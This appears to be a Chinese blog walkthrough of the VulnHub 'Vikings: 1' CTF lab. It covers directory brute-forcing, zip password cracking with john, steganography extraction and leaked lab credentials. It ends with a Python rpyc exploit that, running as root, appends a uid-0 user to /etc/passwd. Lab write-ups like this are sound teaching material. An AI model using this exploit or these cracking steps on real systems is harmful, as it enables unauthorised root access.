​本次靶机是CTF风格的靶机。

靶场地址:Vikings: 1 ~ VulnHub

网络呢还是桥接模式。

Description

Back to the Top

A CTF machine with full of challenges

Do what is visible, no rabbit holes

Learn new things, and make sure that you enum first then hack.

Discord- luckythandel#6053 {for any-hint}

This works better with VirtualBox rather than VMware

一;信息收集哇。

1;快速简单方便的发现主机和开放的服务端口。

2;访问一下,很帅。

3;爆破一下子目录。

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.60/site/ -x txt,tar.tar.gz,php

4;看一下有没有什么有用的东西。

5;将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip

curl http://192.168.1.66/site/war-is-over/ | base64 -d > upfine

6;修改后缀,查看一下,需要密码。fcrackzip工具也能用来爆破密码,fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

那就换一个zip2john。zip2john upfine.zip > paswd

用字典爆破。 john --wordlist=/usr/share/wordlists/rockyou.txt paswd

binwalk -e king --run-as=root

换这个工具查看隐藏信息,然后提取出来,然后提示我们加--run-as=root,之后目录下会多个目录。

​ 

用户名密码:floki/f@m0usboatbuilde7

二;漏洞枚举

1;登录ssh,

2;看看是什么东西。

​编辑​

我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎但还是失败了。战后我们不知道拉格纳在哪。他现在很悲伤。我想向他道歉。

因为是我领导了所有的维京人。我得找到他。他可能在任何地方。

#可打印字符是你的盟友。

#num = 29个质数。

collatz-conjecture (num)

3;考拉兹猜想

collatz-conjecture经过搜索为考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想、3n+1猜想、冰雹猜想、角谷猜想、哈塞猜想、乌拉姆猜想或叙拉古猜想,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。通过前面对数列求解的认识,我们可以类似的编写程序。这里判断奇数/偶数可以用求余函数mod,判断可以用if语句,循环终止是数列的某项达到1,可以用while语句。

所以boat的意思是让我们对第二十九个质数做考拉兹猜想,所得到的数的数列,其中可打印的字符(ascall可以代表的字符,256以内),就是我们要得到的

首先我们编写一段简单的python代码来计算出第二十九个质数。

n = 0
for i in range(1000):
flag = 0
if i < 2:
continue
j = int(i/2) + 1
for k in range(2,j):
if i % k == 0:
flag = 1
break
if flag == 0:
n += 1
print("第",n,"个质数为",i)

再编写一个简单python做考拉兹猜想,并且输出所有ascall为256以内的字符

n = 109
num = []
num.append(n)
while n != 1:
if n % 2 == 0:
n =int(n / 2)
else:
n= int(3 * n + 1)
if(n < 256):
num.append(n)
print(num)
for i in num:
j = chr(i)
print(j,end='')

4;使用cyberchef的Strings模块分出所有可打印的字符,因为输出是每个字符占一行所以再用replace模块替换掉换行符方便复制密码,也要掉所有空格.​​

5;所以,ragnar用户的密码是:mR)|>^/Gky[gz=\.F#j5P(

第一个falg.

linux登录自动执行命令,可以通过

  1.  对于当前用户生效的
  2.  编辑当前主目录下的.bashrc文件添加一个指令
  3.  编辑当前主目录下的.profile文件
  4.  .bash_profile文件 
  5.  对于全局用户生效的
  6.  /etc/profile

​ 有一个文件是以root权限运行。通过搜索我们发现这个程序也是一个客户端服务端的程序,并且这个服务端文件的运行用户为root,我们可以通过编写代码向服务端发送特殊请求来获得root用户的shell。

1;写shell,调用有root执行rpyc.classic.connect文件的权限,创建一个用户和用户密码,写入shell,然后执行,最后,su sing。哦了!

import rpyc
def exp():
import os
os.system("echo 'sing:$1$tad/je9c$twFkrVbv69ZQt3mPBFrHX1:0:0:root:/root:/bin/bash' >> /etc/passwd")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(exp)
fn()

2;提权成功,第二个falg.

最新文章

  1. Hbase学习连接-数据导入
  2. php获取文件夹下面的文件列表和文件夹列表
  3. 转载MVC Html.AntiForgeryToken() 防止CSRF攻击
  4. java答疑
  5. js调试若干
  6. CSS 基础
  7. mysql实现高可用架构之MHA
  8. Mycat 安装与启动
  9. Android平台的Swift—Kotlin
  10. PostgreSQL10.1 linux 编译安装
  11. bzoj2733 永无乡 splay树的启发式合并
  12. Java线程池(ThreadPoolExecutor)原理分析与使用
  13. 《ERP系统修正数据的sql文件》
  14. python中的argv使用
  15. STL进阶--狡猾的反向迭代器
  16. ArcGIS模型构建器案例教程-批量复制工作空间所有要素类
  17. 菜鸟学SSH(五)——Struts2上传文件
  18. SQL Fundamentals || Single-Row Functions || 转换函数 Conversion function
  19. Linux /dev/null详解
  20. 【Asp.net入门3-04】使用jQuery-使用jQuery事件

热门文章

  1. 在安装Windows时手动创建分区
  2. 如何在Windows中批量创建VMware的虚拟机
  3. 我眼中的大数据(三)——MapReduce
  4. 使用Docker方式部署Gitlab,Gitlab-Runner并使用Gitlab提供的CI/CD功能自动化构建SpringBoot项目
  5. 胎压监测系统(DWS)
  6. Elasticsearch:Cluster备份 Snapshot及Restore API
  7. Fluentd部署:系统配置
  8. ERP 软件为什么很贵?
  9. Kafka之工作流程分析
  10. Request保存作用域